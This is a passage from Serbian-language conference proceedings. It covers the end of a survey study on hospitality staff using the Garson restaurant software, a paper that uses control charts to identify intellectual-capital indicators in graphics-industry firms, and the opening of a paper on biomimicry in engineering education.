Aritmetičke sredine ocena 38 pitanja koja su bila vezana za funkcionalnost i jednostavnost primene softvera Garson kretale su se od 1,982 (*Pojedini simboli koji postoje vas zbunjuju, nisu dobro predstavljeni*) do 4,598 (*Program je fleksibilan prilikom naplate zaduženja* i *Zadovoljan sam primenom softverskog sistema Garson*). Visoke ocene (iznad 4) dobile su i tvrdnje koje se odnose na: grafički prikaz rasporeda stolova u restoranu, jednostavnost softvera za upotrebu, korišćenje svih opcija sistema u svakodnevom radu, jednostavno savladavanje svih opcija softvera, jednostavnost pronalaženja svih portebnih aplikacija, mogućnost uvida u strukturu svih podataka i sl. Čak 24 pozitivno formulisanih tvrdnji ocenjeno je prosečnom ocenom iznad 4.

Pitanja čija se aritmetička sredina kreće između 3 i 4 predstavljaju pitanja koja su najčešće ispitanicima bila nejasna, ili nisu imali informacije na osnovu kojih bi mogli da daju odgovor. Tvrdnje kao što su *Isporuka i instalacija ovog programa je kratko trajala, Uložena finansijska sredstva za instaliranje ovog softverskog sistema opravdala su očekivanja* i *Zaposleni su imali kvalitetnu obuku* predstavljaju tvrdnje u odnosu na koje većina ugostiteljskih radnika nije imala stav pa su davali ocenu 3 – neodređeno.

Tvrdnje koje su ocenjene prosečnim ocenama ispod 3 su negativno formulisane, odnosno, usmerene su na nedostatke softvera. Niske vrednosti ocena kod ovih pitanja, kao npr. Često se dešava da se sistem prilikom upotrebe blokira, Potrebno je dosta vremena da se vrati funkcija sistema ukoliko dođe do kočenja, i tvrdnja koja se odnosi na grafički deo sistema Pojedini simboli koji postoje vas zbunjuju, nisu dobro predstavljeni, ukazuju da se većina ispitanika ne slaže da program ima navedene nedostatke.

Pitanja	Grupe	Aritmetička sredina	t
Prikaz rasporeda stolova i reona u sistemu je realna kao u objektu.	da	4,6364	
	ne	4,2174	2,510**
Razvrstavanje artikala po grupama je jednostavno i olakšava svakodnevni rad.	da	4,6061	
	ne	4,3478	2,412**
Aplikacije koje se koriste usklađenesu sa zadacima	da	4,1061	2 402**
u svakodnevnom poslovanju.	ne	3,7609	2,403***
Dobijanje informacija iz ovog sistema na vreme	da	4,3939	2 226**
unapređuje kvalitet mog rada.	ne	3,5870	2,320
Informacije koje su sadržane u ovom sistemu	da	4,5758	2 242**
su dovoljne da obavljam svoj posao.	ne	4,0000	2,245
Ovaj sistem je dizajniran	da	4,2727	4 800*
za sve nivoe korisnika.	ne	3,8043	4,099
Omogućeno je kreiranje raznovrsnih izveštaja j	da	4,4091	4 532*
statistika.	ne	3,7174	1,002
Dodeljivanje VIP statusa klijentima i pronalaženje	da	4,1364	2,553**
istih u sistemu je jednostavna i brza.	ne	3,7826	
Fleksibilan je prilikom	da	4,7121	4 043*
naplate zaduženja.	ne	4,4348	1,015
Povezanost ovog sistema	da	4,1818	3 610*
unutar objekta je efikasna.	ne	3,5870	5,010
Često se dešava da se	da	2,2727	2 00.0*
blokira.	ne	3,1957	-3,908
Potrebno je dosta vremena da se vrati funkcija sistema ukoliko dođe do kočenja.	da	2,3333	2 757*
	ne	3,1739	-3,/3/*
Zadovoljan sam prikazom simbola koji postoje.	da	4,6970	2 /01**
	ne	4,3913	2,491
Pojedini simboli koji postoje vas zbunjuju pisu	da	1,7424	-2.668*
dobro predstavljeni.	ne	2,3261	_,
Dokazane su uštede prilikom korišćenja ovog	da	3,7121	2,560*
softverskog sistema.	ne	3,2174	_,000

Tabela 2. T-test nezavisnih uzoraka u odnosu na ranije iskustvo u korišćenju Garsona i sličnih softvera (*da* – imali su iskustvo; *ne* – nisu imali iskustvo) *p<0,01; **p<0,05 T-test nezavisnih uzoraka primenjen je sa ciljem upoređivanja aritmetičkih sredina odgovora između ispitanika u odnosu na ranije iskustvo u korišćenju Garsona i sličnih softvera. Rezultati testa su pokazali da se ocene ispitanika statistički značajno razlikuju (na nivou p<0,01 i p<0,05) kod 15 pitanja. Rezultati su pokazali da zaposleni koji su imali ranije iskustvo sa korišćenjem sličnih softverskh paketa imaju pozitivniji stav prema informacijama kojima se rukuje preko sistema i koje su sadržane u njemu. Takođe, sa već ranijim iskustvom u korišćenju sličnih softvera, ti ispitanici imaju manje poteškoće prilikom rada i mnogo bolje ocenjuju sistem od onih koji ga prvi put koriste.

3. ZAKLJUČAK

Kao rezultat istraživanja softverskog proizvoda Garson, kao i anketiranja zaposlenih koji ga svakodnevno koriste u ugostiteljskim objektima, dolazi se do zaključka da obuka zaposlenih za korišćenje softverskog paketa ima značajan doprinos za unapređenje poslovnih procesa u ugostiteljstvu. Garson i slični softveri predstavljaju jedan od faktora inovacija koje su neophodne za uspešno poslovanje. Sistem u kojem je protok informacija tačno definisan i određen, i koji pruža sve mogućnosti svojim fleksibilnim funkcijama, sprečava nastanak grešaka u poslovnim procesima i samim tim unapređuje kvalitet ugostiteljskih usluga. Ovaj softver svojim funkcijama maksimalno štedi vreme zaposlenima, pruža im mogućnost lakog korišćenja i kretanja kroz sistem, ostavljajući im više vremena za sam proces pružanja usluge kroz orijentaciju prema gostu. Grafički izgled softvera predstavlja olakšanje zaposlenima prilikom pronalaženja željenih artikala i neophodnih funkcija. Sprečavanje nepotrebnog gubljenja vremena, kao i znatno ubrzan protok informacija između sektora ugostiteljskog objekta, predstavlja najveći doprinos softvera za unapređenje poslovanja u ugostiteljskim objektima. Na osnovu sprovedenog istraživanja, može se izvesti zaključak da su anketirani zaposleni generalno zadovoljni primenom Garsona, da se lako prilagođavaju na njegove aplikacije i da je svakodnevno obavljanje zadataka u njemu jednostavno i u velikoj meri olakšava rad u ugostiteljskoj delatnosti.

Preporuke autora su da se istraživanje sprovede i tokom 2017. godine u cilju dobijanja većeg uzorka i preciznije slike o značaju informacionih sistema za razvoj ugostiteljske delatnosti. Takođe, neophodno je formirati stratifikovan uzorak i ispitati postojanje statistički značajnih razlika u stavovima zaposlenih u odnosu na njihove sociodemografske karakteristike. Autori očekuju da će rezultati budućih istraživanja ukazati na pozitivan stav zaposlenih prema informacionim sistemima koje koriste.

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DETERMINISANJE KLJUČNIH INDIKATORA INTELEKTUALNOG KAPITALA ORGANIZACIJE "KOJA UČI"

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Osnovni resurs organizacije jeste znanje, kome poseban značaj daje aktuelni trenutak. Visok stepen razvoja i prisutnost tehnologije u svim porama života diktira novi način poslovanja i razmišljanja, menjajući društvenu svest. Razvoj informacione tehnologije, celokupno poslovanje oslanja na neopipljive resurse. Vlasnici neopipljivih komponenti poslovanja jesu zaposleni koji svojim znanjem čine organizacionu kulturu. Organizaciona kultura jeste prepoznatljivi pečat svake organizacije i čini jezgro njene kompetentnosti kao osnov za postizanje konkurentske prednosti. Obim intelektualnog kapitala organizacije u srazmeri je sa njenom sposobnošću kreiranja superiorne vrednosti u odnosu na konkurenciju. Cilj ovog naučno-istraživačkog projekta je determinisanje ključnih indikatora intelektualnog kapitala karakterističnih za poslovanje grafičke industrije.

Ključne reči:

znanje, intelektualni kapital, IT, kontrolne karte, grafička organizacija koja uči.

1. UVOD

U savremenom okruženju, intelektualni capital postao je odlučujući organizacioni resurs kojim se stiče konkurentska prednost poslovanja. Intelektualni kapital sadržan je u svim organizacionim nivoima, od baznih poslovnih procesa, do najvišeg nivoa organizacije. On se može proceniti, a njime se i koordinira, čime unapređujemo konkurentnost organizacije. U današnjem poslovanju sinergijski su povezani intelektualni kapital i nove tehnologije. Značajna karakteristika novih tehnologija jeste njihov nezamenljiv uticaj na celokupne poslovne odnose organizacije, kako unutar nje, tako i u njenom okruženju. Savremeno poslovanje se ne može zamisliti bez integracije, računara, interneta i telekomunikacija. Svojom prirodom, nove tehnologije menjaju procedure i načine poslovanja u sa-mim organizacijama i uslovljavaju povezanost organizacije sa eksternim faktorima (globalizacija informacija).

Danas su informacione tehnologije ključni faktor organi-zacionog dizajna i performansi u poslovanju. Uslov za korišćenje informacionih tehnologija jeste znanje o njihovoj upotrebi. Samo organizacija "koja uči" obezbeđuje pretpostavku za uspešno poslovanje organizacije i zadovoljenje potreba zainteresovanih strana. Intelektualni kapital predstavlja interakciju između čoveka, strukture i tržišta. Cilj istraživanja je težiti što racionalnijem izboru metode za vrednovanje (konkretno, vreduje se intelektualni kapital). U ovom naučno-istraživačkom projektu determinišu se ključni indikatori intelektualnog kapitala u "grafičkim organizacijama koje uče".

2. ZNANJE

2.1. Opšte

"Osnovni resursi u ekonomiji nisu više kapital, prirodni resursi i radna snaga, to jeste i biće znanje" (Peter Drucker). Ovaj mislilac informatičku eru vizinarski naziva "revolucijom znanja" (1959) i uvodi pojam "radnika znanja" (*knowledge worker*). Time definiše najveću radnu grupaciju koja će dominantno obeležeti i nositi aktivnosti nove ekonomije i koja će biti oslonac modernog društva i poslovanja. Karakteristike radnika znanja su njegova stručnost, veštine, znanje i formalno obrazovanje [2].

2.2. Elementi znanja

Podaci i činjenice oko nas deo su svakodnevnice i prepoznajemo ih kao bljesak nekih nepoznatih zbivanja, bez konkretne međusobne veze. Kada podatak dobije neko konkretno značenje – postaje informacija. Sakupljene i organizovane informacije povezane razumnim vezama daju znanje.

Hijerhija znanja definiše razlike između podataka, informacija i znanja, te razlikujemo:

- Podatak neorganizovanu i neobrađenu činjenicu, bez posebnog smisla. On opisuje samo deo onoga što se dešava bez objašnjenja ili davanja značaja događaju. Podatak je osnov za formiranje informacije;
- Informaciju ima svoje značenje, svrhu i relevantnost. Informacija daje značaj podatku.
- Znanje ono što predstavlja svrsishodno skupljanje informacija koje bivaju razumno povezane i time dobijaju svoju korisno-upotrebnu vrednost.

Znanje, eksplicitno ili prećutno, individualno ili kolektivno, oduvek je predstavljalo osnovu ljudskog napretka. Primena znanja jeste osnovni zadatak procesa menadžmenta znanja organizacije. Suština uspešnog programa menadžmenta znanja je primena postojećeg znanja organizacije tako da ono uvećava značaj i vrednost organizacije. Aktuelni oblik organizovanja poslovnog sistema znanje sagledava i kao *input* i kao *output* organizacije [2]. Svaka organizacija poseduje određeni nivo znanja. Upravljanje znanjem podrazumeva pretvaranje individualnog znanja zaposlenih u kolektivno i organizaciono znanje koje će biti dostupno svim članovima organizacije.

Znanje se permanetno uvećava i prilagođava okolnostima.

3. INTELEKTUALNI KAPITAL

3.1. Opšte

"Intelektualni kapital čine znanja koja postoje unutar organizacije i kojima se koriste za kreiranje konkurentskih prednosti – drugim rečima, to je zbir svega što svi zaposleni znaju i što izoštrava konkurentske prednosti poduzeća" (Bontis, 1996) [4].

Srž intelektualnog kapitala organizacije jeste znanje kao najbitniji resurs organizacije. U novije vreme stvaraju se nove delatnosti koje se oslanjaju isključivo na znanje kao na osnovni resurs u stvaranju tržištne predosti i ostvarenju dodatne vrednosti. Bez obzira što spada u "nevidljivu imovinu organizacije", intelektualni kapital (tj. sveukupno znanje organizacije) zauzima sve veći deo vrednosti organizacije i čini prepoznatljivi brend interesantan za kupce. Nosilac intelektualnog kapitala i stožer ovog resursa jeste čovek [3].

Intelektalni kapital jeste složena kategorija koju čine materijalni i nematerijalni elementi. Uz pomoć njih, organizacija postiže očuvanje održivog razvoja i konkurentnosti (upotreba znanja u stvaranju novostvorene vrednosti).

Intelektalni kapital čine: a) ljudski kapital – definisan kao znanje, iskustvo, sposobnost, umeće, kreativnost i inovativnost pojedinca; b) strukturni kapital – nastaje kao rezultat procesa ljudskog kapitala u prošlosti; c) relacijski kapital – uključuje odnose sa kupcima i dobavljačima, brend, reputacija, imidž (Slika 1).

Neopipljivost kapitala otežava proces njegove kvantifikacije i merenja. Glavne pošteškoće pri merenju intelektualnog kapitala su: identifikovanje, definisanje i prepoznavanje resursa koje je potrebno meriti. One se prevazilaze utvrđivanjem nematerijalnih resursa najvažnijih za strateški značaj i uspeh preduzeća, kao i utvrđivanje komponenti intelektualnog kapitala koje najviše utiču na ostvarenje ciljeva poduzeća. Preporučuje se da svaka organizacija razvije vlastiti proces vrednovanja intelektualnog kapitala u zavisnosti od svojih potreba i specifičnosti poslovane struke [3, 4].



Slika 1. Mesto i klasifikacija intelektualnog kapitala prema Bontisu [4].

3.2. Indikatori intelektualnog kapitala u grafičkim organizacijama "koje uče"

Aktuelno poslovanje traži od organizacije prepoznavanje zahteva ambijenta u kome ona obitava (zainteresovane strane, interesne grupe ili društva itd.). Da bi organizacija brzo reagovala na raznolike promene okruženja, mora i sama pretrpeti određene radikalne promene u svojoj strukturi, za šta joj je neophodno znanje.

Najčešće radikalne promene u organizaciji su:

- aktivnosti organizacije koja uči;
- aktivnosti elektronskog poslovanja;
- aktivnosti implementacije TQM-a;
- aktivnosti reinženjeringa poslovnih procesa itd. [2].

3.2.1. "Organizacija koja uči"

"Organizacija koja uči" (u daljem tekstu bez navodnica) nije poseban model organizacione strukture, nego je to osobina oblika oraganizovanja koji može imati različite pojavne oblike (procesni, funkcionalni, divizionalni, mrežni, itd.) sa posebnim mentalnim opredeljenjem.

Organizacija koja uči (učeća organizacija) u stanju je da kreira znanje sistematskim učenjem "od drugih". Ona prepoznaje aktuelne stalne promene i time stiče iskustvo u upravljanju i donošenju odluka. Time se njene performanse stalno poboljšavaju [3].

Preovladava mišljenje da su najuspešnije organizacije one koje uče i poseduju sposobnost da brže uče od konkurencije. Ova osobina organizacije (pored sposobnosti da na efikasan način upravlja znanjem koje poseduje) omogućava stabilan položaj u svojoj poslovnoj klasi. I za korišćenje znanja, i za učenje, neophodani elementi su stvaranje novog znanja i sposobnost njegove primene kao deo koncepta menadžmenta znanja. Kod organizacije koja uči, svi zaposleni stalno razvijaju sposobnost kreiranja rezultata, neguju nove obrasce ponašanja i kontinuirano uče i stiču novo znanje (Slika 2).



Slika 2. Okvir organizacionog učenja [3] (modifikovano od strane autora)

Aktivnosti koje razlikuju tradicionalnu organizaciju od organizacije koja uči su: sistematsko razmišljanje; lično usavršavanje; mentalni modeli; zajednička vizija; timsko učenje itd.

Uslov da bi organizacija bila ona koja uči je da koristi menadžment znanja, dok menadžment znanja funkcionalno zavisi od organizacije koja uči. Očigledna je zavisnost i neophodnost ova dva sistema, organizacionog učenja i menadžmenta znanja u savremenom poslovanju [2].

4. INFORMACIONE TEHNOLOGIJE

Suština novih tehnologija jeste njihov upliv na celokupne poslovne odnose i promene koje iziskuje njihova upotreba (a bez njih se ne može). U savremenom trenutku nove tehnologije su temelj u determinisanju novih proizvoda prema aktuelnom zahtevu kupaca. Savremeno poslovanje se ne može zamisliti bez integracije, računara, interneta i telekomunikacija. Svojom prirodom, nove tehnologije menjaju procedure i načine poslovanja u samoj organizaciji i uslovljavaju specifičnu povezanost organizacije sa eksternim faktorima (globalizacija informacija).

Osnovni produkt informacionih tehnologija, koji neposredno utiče na organizaciju, jeste elektronsko

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poslovanje, kao sinonim za savremeno poslovanje. Ono predstavlja skup poslovnih aktivnosti koje se odvijaju posredstvom informaciono-komunikacionih tehnologija (internet kao osovina komunikacije).

Glavne aktivnosti elektronskog načina poslovanja su:

- Optimizacija svih poslovnih procesa (marketinga, prodaje, proizvodnje, distribucije, nabavke i dopune zaliha, naplate itd.);
- Unapređenje odnosa sa ciljnom grupom (klijenti, zapo-sleni, dobavljači, distibuteri);
- Unapređenje logističkih poslovnih odnosa (banke, advokatske službe, računovodstvene agencije, reklamne agencije zakonodavstvo).

Mehanizam funkcionisanja elektronskog poslovanja sadržan je u odnosu provajder (proizvođač) i korisnik (klijent), gde postoji više varijanti funkcionisanja (Slika 3).





Savremeno poslovanje zahteva prilagođavanje organiza-cione strukture i zaposlenih novom načinu poslovanja (dostupnost informacijama), gde su na centralnom mestu procesa, znanje i menadžment znanja [2].

Početni uslov za korišćenje informacionih tehnologija u organizaciji jeste mentalno-kulturološki nivo poslovanja organizacije tj. organizacija mora biti – ona koja uči [1].

5. KONTROLNA KARTA

Statistička metoda Kontrolna karta predstavlja efikasan alat za uspostavljanje, regulisanje i upravljanje procesom, čiji je produkt kvalitet proizvoda i procesa.

Ovaj alat koristi se za:

- usavršavanje i poboljšanje tehnološkog procesa rada sa stanovišta kvaliteta;
- upravljanje kvalitetom procesa rada i poslovanja;
- faznu kontrola kvaliteta proizvoda;
- analize sistema grešaka iz tehnološkog procesa;
- u serijskoj i masovnoj proizvodnji itd.

Na kontrolnij karti razlikuju se tri osnovne linije: Centralna linija, CL (predstavlja srednju nominalnu vrednost, X0); linija gornje kontrolne granice, GKG; linija donje kontrolne granice, DKG. Kontrolna karta može posedovati još dve pomoćne linije ispod i iznad gornje i donje kontrolne granice. One definišu donju i gornju upozoravajuću granicu (DUG i GUG) i predstavljaju vrednosti koje signaliziraju da proces ima tendenciju nestabilnosti, odnosno da je potrebno povećanom pažnjom pratiti rezultate narednih merenja (Slika 4).



Slika 4. Opšti grafički prikaz kontrolne karte.

Opšti postupak izrade kontrolnih karata je sledeći:

- Odabir karakteristika kvaliteta objekta;
- Određivanje načina biranja: veličine uzorka i vremena uzimanja uzorka;
- Odabiranje statističkih mera koje će se primeniti u izradi karata (x, R, σ, p, m, c, u);
- Izdrada kontrolne liste kontrolnih karata [5].

Praktično, formira se plan kontrolisanja procesa koji sadrži vreme i lokaciju uzimanja uzoraka. Sledi merenje (ocena) vrednosti izabranih karakteristika indikatora i njihovo obračunavanje predviđenom procedurom i formulama. Dobijeni rezultati unose se u kontrolnu kartu, čime ona postaje pregledna slika kvaliteta u vremenskom
odvijanju procesa (grafički se izrađuje). Ukoliko su izračunate vrednosti unutar kontrolnih granica (tj. kontrolnih linija) smatra se da je proces stabilan (tj. pod statističkom kontrolom). U suprotnom je proces nestabilan i van je statističke kontrole [5].

6. PROCES ISTRAŽIVAČKOG PROJEKTA

6.1. Opšte

U naučno-istraživačkom projektu determinisani su indikatori intelektualnog kapitala u grafičkim organizacijama koje uče. Primenjen je princip kvalitativnog istraživanja u razumevanju pojave i metoda malog uzorka do 40 uzorkovanih objekata koji se bave grafičkom delatnošću. Istraživanje je sprovedeno korišćenjem upitnika. Anketni upitnik sadrži 100 pitanja na čije se odgovore došlo intervjuom sa odabranim grafičkim organizacijama. U ovakvom tipu istraživanja relevantnim uzorkom smatra se stopa povratnih informacija od 20% (Kelton, 1983.). Upitnik je naslovljen najvišem rukovodstvu organizacije i menadžmentu grafičkih organizacija ovih prostora.

6.2. Struktura naučno-istraživačkog projekta

6.2.1. Faze naučno-istraživačkog projekta

Intervjuisane su vodeće grafičke organizacije na ovim prostorima.

U prvoj fazi istraživanja definisan je upitnik i broj pitanja. Odabrano je 10 pitanja i 10 potpitanja, tako se zbirno dobilo 100 pozicija koje su uzorkovane u 8 organizacija tj. ukupno 800 karakteristika. Pri odgovoru na pitanja, vrednost se ocenjivala procentualno (0–100%) (Slika 5).

U drugoj fazi je na dobijene vrednosti primenjen metod Kontrolna karta, čime su determinisani indikatori intelektualnog kapitala u organizacijama grafičke industrije koji imaju najmanja odstupanja od centralnih linija metode. Proračun je urađen i za X-kartu i za R-kartu korišćenjem Excel aplikacije, dok je kontrolna karta grafički prikazana softverom Corel Draw.

U trećoj fazi je na osnovu rezultata istraživanja grafički prikazana determinacija ključnih indikatora intelektualnog kapitala, njihova tendencija i očekivanja u grafičkim organizacijama Srbije. Na taj način date su smernice i pravci koje treba slediti u daljem razvoju grafičke industrije. Grafički prikaz rađen je softverom Corel Draw (Slika 6).



Slika 5. Prikaz izgleda tabele za ocenu indikatora intelektualnog kapitala u grafičkoj industriji Srbije.



Slika 6. Rangiranje ključnih indikatora; A-Zona generisanja ključnih indikatora intelektualnog kapitala.

6.3. Funkcija i oblici ključnih indikatora intelektualnog kapitala specifičnih za grafičku industriju

Ključni indikatori intelektulnog kapitala grafičkih organizacija prepoznati su u grupi kriterijuma Paradigma modela izvrsnosti, specifičnom za grafičku industriju i glase: Kontinualna poboljšanja i inovacije. Ovi kriterijumi su odabrani zbog činjenice da njih može da primeni samo organizacija koja uči i teži poslovnoj izvrsnosti.

Suština indikatora jeste da prikažu način na koji se organizuje proces učenja od drugih i preduzimaju proboji, priraštanja poboljšanja i inovacije mobilizacijom ljudi, i korišcenje TQM alata u grafičkim organizacijama.

Oblici indikatora intelektualnog kapitala grafičke organizacije moraju ispuniti sledeći zahtev – prikazati kroz grupe indikatora intelektualnih kapitala (u daljem tekstu GIK) kako organizacija uči od drugih i kako sprovodi poboljšanja i inovacije u sledećim aktivnostima i područjima:

GIK 1 – Izbor, merenje i analize internih informacija koje podupiru ključne procese i poboljšavaju performanse grafičke organizacije;

GIK 2 – Izbor, merenje i analiza eksternih informacija iz organizacija svetskog nivoa delatnosti i/ili najbolje svetske klase (benčmarking), koje služe kao orijentacija za poboljšanje performansi grafičke organizacije;

GIK 3 – Primena IT pozitivno doprinosi procesu stvaranja vrednosti i oslobađanju od prošlosti, i uspostavljanje procesa učenja (od drugih grafičkih organizacija ili iz sopstvenih iskustava);

GIK 4 – Sprovođenje programa oslobađanja od nepotrebne prošlosti i proboja prema novim performansama u grafičku industriju (novi poslovni moral, privatizacija, reinženjering, ISO 9001, promena mentaliteta, nova tržišna i razvojna orjentacija, nova vizija, misija, ciljevi itd.).

GIK 5 – Organizaciona šema za priraštajna poboljšanja (procesa, proizvoda, usluga, sistema veza sa društvom) u koja se uključuju zaposleni grafičke organizacije, kao i kupci, partneri itd.;

GIK 6 – Organizaciona šema za inovacije i kreativne inovacije (procesa, proizvoda, sistema i veza sa društvom) u koje se uključuju zaposleni grafičke organizacije, kao i kupci i partneri upućeni na nju;

GIK 7 – Primena internih i eksternih provera sistema kvaliteta za utvrđivanje neusaglašenosti za preduzimanje korektivnih i preventivnih mera i prilika za poboljšanja ili inovacije specifičnih za grafičku industriju;

GIK 8 – Primena modela samoocenjivanja u ostvarivanju stepena izvrsnosti i nalaženju područja za poboljšanja ili inovacije karakterističnih za grafičku industriju;

GIK 9 – Primena TQM alata na grafičku organizaciju;

GIK 10 – Utvrđivanje efekata dodatnih vrednosti od poboljšanja ili inovacija grafičke organizacije [1].

6.4. Rezultati naučno-istraživačkog projekta

6.4.1. Analiza

Bazne kriterijume Kontinualna poboljšanja i inovacije čini 100 uzoraka svrstanih u 10 grupa sa po 10 uzorkovanih pozicija. Uzorkovano je 800 karakteristika koje zajedno čine celokupan proces aktivnosti prepoznavanja indikatora intelektalnog kapitala grafičkih organizacija. U daljem postupku obračuna, maksimalna referenca je bila: ukoliko neka karakteristika prelazi zadate kontrolne granice, time smanjuje i šanse indikatora za njegov odabir kao ključnog indikatora intelektualnog kapitala. U proračunu centralnih linija, donjih i gornjih kontrolnih granica, raspona i aritmetičkih sredina kontrolnih karata, korišćena je tabela P2 (str. 282 [5]) sa vrednostima: n=10; A2=0,308; D3=0,223; D4=1,777. Napomena: primenjuju se kontrolne karte za male uzorke koje sadrže do 10 primeraka (n ≤10) [5].

Statističkom metodom i obračunom vrednosti dobijenih intervjuom, a u odnosu na CLX i CLR (Slike 4, 6), dobijene su sledeće vrednosti odstupanja u odnosu na dozvoljene granice:

- GIK 1, ispod dozvoljene granice 2 vrednosti, bez odstupanja iznad dozvoljene granice (prosečna vrednost grupe je CLX=0,820, CLR=0,295);
- GIK 2, ispod dozvoljene granice 2 vrednosti, iznad dozvoljene granice 1 vrednost (prosečna vrednost grupe je CLX=0,813, CLR=0,380);
- GIK 3, ispod dozvoljene granice 1 vrednost, bez odstupanja iznad dozvoljene granice (prosečna vrednost grupe je CLX=0,833, CLR=0,600);
- GIK 4, ispod dozvoljene granice 1 vrednost, iznad dozvoljene granice 2 vrednosti (prosečna vrednost grupe je CLX=0,810, CLR=0,585);
- GIK 5, ispod dozvoljene granice 2 vrednosti, bez odstupanja iznad dozvoljene granice (prosečna vrednost grupe je CLX=0,733, CLR=0,550);
- GIK 6, ispod dozvoljene granice 1 vrednost, iznad dozvoljene granice 1 vrednost (prosečna vrednost grupe je CLX=0,760, CLR=0,550);
- GIK 7, ispod dozvoljene granice 2 vrednosti iznad dozvoljene granice 3 vrednosti (prosečna vrednost grupe je CLX=0,848, CLR=0,430);
- GIK 8, ispod dozvoljene granice 2 vrednosti iznad dozvoljene granice 2 vrednosti (prosečna vrednost grupe je CLX=0,777, CLR=0,525);
- GIK 9, ispod dozvoljene granice 2 vrednosti, iznad dozvoljene granice 2 vrednosti (prosečna vrednost grupe je CLX=0,760, CLR=0,525);
- GIK 10, ispod dozvoljene granice 1 vrednost, bez odstupanja iznad dozvoljene granice (prosečna vrednost grupe je CLX=0,843, CLR=0,265).

Daljim proračunom izračunata je vrednost zbirne aritmetičke sredine (X) za sve IK i njenih granica svih indikatora: CLX=0,80, DKGX=0,65, GKGX=0,95. Izračunata je i zbirna vrednost raspona (R) za sve IK i njenih granica je: CLR=0,95, DKGR=0,11, GKGR=0,84.

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Analizom dobijenih vrednosti izdvajaju se grupe indikatora sa najmanjim odstupanjima u odnosu na centralnu liniju i to:

- Prvi ključni indikator iz GIK 4 čija je CLX=0,810;

- Drugi ključni indikator iz GIK 7 CLR=0,430.

Dobijena vrednost za indikator GIK 7, CLR (0,430) najbliža je idealnim vrednostima date osnove raspona (0,470) i poseduje najmanja odstupanja od nje, kao i minimalni obim raspona. Istovetno, indikator GIK 4, CLX (0,810) daje najpribližniju vrednost predviđenoj idealnoj vrednosti u ovom modelu X (0,80).

Na prikazani način su naučno-istraživačkim projektom determinisani ključni indikatori intelektualnog kapitala u grafičkim organizacijama koje uče i glase:

GIK 4 za X – Sprovođenje programa oslobađanja od nepotrebne prošlosti i proboja prema novim performansama (novi poslovni moral, privatizacija, reinženjering, ISO 9001, promena mentaliteta, nova tržišna i razvojna orjentacija, nova vizija, misija, ciljevi itd.).

GIK 7 Ra R – Primena internih i eksternih provera sistema kvaliteta za utvrđivanje neusaglašenosti za preduzimanje korektivnih i preventivnih mera i prilika za poboljšanja ili inovacije.

7. ZAKLJUČAK

Nakon urađenog naučno-istraživačkog projekta na bazi informacija dobijenih od vodećih grafičkih organizacija ovih prostora, determinisani su ključni indikatori intelektualnog kapitala. Primećuje se da su navedeni ključni indikatori intelektualnog kapitala (IK) u prirodnoj sinergiji i stvaraju područje za delovanje. Uzorkovane organizacije spadaju u milje organizacija koje uče. Ključni indikatori koji su determinisani predstavljaju trenutne vrednosti i kategorije okruženja. Promenom okruženja usled zahteva kupaca oni će se menjati, a time se očekuju promene i u istraživanju.

Cilj ovog istraživanja je prezentovanje modela i načina za poboljšanju kvaliteta poslovanja u grafičkoj organizaciji koja uči, prepoznavanjem ključnih indikatora intelektualnog kapitala pomoću:

- a) statističke metode Kontrolna karta (SPC kao jedna od alata za ostvarivanje TQM-a);
- a) kriterijumom Kontinualna poboljšanja i inovacije (krucijalni kriterijum TQM-a) kao bazom indikatora intelektualnog kapitala;
- b) primenom IT u svim fazama i procesima istraživanja (integracijom: intelektualnog kapitala, računara, inte-rneta, softvera i telekomunikacija).

Naglašava se da ovaj metod mogu koristiti samo grafičke organizacije koje uče i čije je opredeljenje poslovna izvrsnost trajna orjentacija.

Kod definisanja ključnih indikatora intelektualnog kapitala (IK), preporuka je da se obrati pažnja i na atribute: definisan i jasan, integrativan, inovativan i primenljiv, inovacije. Navedeni atributi učvršćuju sinergijsku vezu među ključnim indikatorima intelektualnog kapitala.

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INFORMATION TECHNOLOGY IN EDUCATION

STVARANJE INOVATIVNIH KOMPETENCIJA KOD STUDENATA INŽENJERSKO-TEHNOLOŠKOG PROFILA

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Rezime:

Imajući na umu sve brži rast znanja usled napretka u nauci i tehnologiji, za rešavanje globalnih problema nije dovoljno razmišljati o njima na isti način kada su i stvarani. Rešenja ne leže unutar jednog domena, nauke ili tehnologije. Za rešavanje današnjih globalnih problema potreban je integrisani pristup po mnogim domenima, naukama ili tehnologijama. Znanje i shvatanje čoveka ograničeno je njegovim iskustvom, obrazovanjem i istraživanjem. Međutim, napredak u nauci i tehnologiji zahteva više od ovoga. Pregledom postojeće literature i inovacija u svetu, u ovom radu prikazana je studija na osnovu koje je potrebno stvoriti nove sposobnosti i kompetencije kod budućih inženjera i tehnologa, sa drugačijim načinom razmišljanja. Biomimikrijski pristup omogućava suočavanje sa globalnim problemima u kontekstu kreiranja održivog sveta. Zbog ovoga je potrebna da se inženjerski i tehnološki studijski programi prevedu na globalniji model, model koji bi integrisao biomimikrijski pristup kao sredstvo da pripremi buduće inženjere i tehnologe da na drugačiji, inovativniji način razmišljaju o globalnim problemima i njihovom rešavanju.

Ključne reči:

biomimikrija, obrazovanje, kompetencije.

1. UVOD

Svet je u opasnosti zbog velikog uticaja industrije koju je čovek stvorio, direktno ili indirektno. Dovoljno je samo da pogledamo preko ramena i uočimo kako priroda funkcioniše, da bismo znali da smo godinama unazad probleme rešavali sa posledicama koje danas predstavljaju globalne probleme. Visoko obrazovanje mora da preispita svoju ulogu u obučavanju budućih inženjera koji će se baviti ovom problematikom. Da bi budući inženjer mogao uspešno da rešava ovakve probleme, ali i druge probleme čija rešenja neće ugrožavati održivost sredine, inženjerski kurikulum mora da se preobrazi u globalni obrazovni model. Mora da integriše inovativne sposobnosti i kompetencije koje omogućavaju da se na nov način razmišlja o globalnim problemima. U osnovi, ključna pitanja koja se odnose na ovaj novi globalni obrazovni model mogu se formulisati na sledeći način:

- 1. Koja su to neophodna znanja i uslovi za rešavanje složenih globalnih problema?
- 2. Koji su to izvori saznanja o prirodi koji su najprimenljiviji?

2. PREGLED LITERATURE

